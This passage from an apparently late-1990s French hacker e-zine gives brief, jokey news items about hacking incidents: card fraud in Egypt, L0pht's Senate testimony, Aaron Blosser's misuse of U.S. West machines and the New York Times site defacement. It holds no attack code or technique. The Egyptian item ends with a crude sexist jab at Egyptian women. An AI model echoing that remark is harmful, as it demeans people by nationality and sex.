 6) La police égyptienne a arrêté deux étudiants hackers, pour vol et utilisation frauduleuse de carte bancaire. Les criminels ont eu toutefois le temps de détourner 147 000 $, soit plus de 900 000 frs, au cours des sept derniers mois précédant leur arrestation. Les autorités égyptiennes assurent qu'il s'agit du premier crime d'un ressortissant de leur pays sur l'internety. Le plus surprenant est qu'ils ont dépensé l'intégralité de ce montant pour des photos et films pornographiques payant sur le Web! A croire qu'en Egypte, les filles, elles sont moches...

 7) Un collectif de pirates, le Lopht, a affirmé au Sénat américain en juin 1998 leur capacité à "planter" en une demi-heure la dorsale de l'internet US. Avec leur ego surdimmensionné, tous ces pirates vont bien finir par motiver les politiques à une sécurisation extrême du net. Et là finie la liberté!

 8) Un jeune pirate informatique de 28 ans, Aaron Blosser a détourné plus de 2 500 ordinateurs de la compagnie de téléphone américaine U.S. west (Phoenix, USA) pour tenter de résoudre une énigme mathématique vieille de 350 ans. Il aurait également obtenu les mots de passe de 15 000 postes de travail de la compagnie, qu'il aurait publiés sur l'internet. L'affaire a été découverte lorsqu'il est apparu que les ordinateurs de l'entreprise U.S. West mettaient 5 minutes à retrouver des numéros de téléphone, au lieu de 5 secondes en temps normal. Il va s'amuser comme un fous le gars avec son numéro de matricule!

 9) Le site du journal le New York Times s'est fait piraté, début seprembre, par un adorateur de Kevin Mitnick. Le hacker a modifié la première page du site en demandant le libération du "condor". Pour lui, il est grand temps d'ouvrir la cage à l'oiseau Mitnick!

Voilà qui va clore cet E-mag en espérant qu'il vous a plu! Si vous avez des commentaires à faire ou des suggestions, écrivez à clad_strife@hotmail.com.

Clad Strife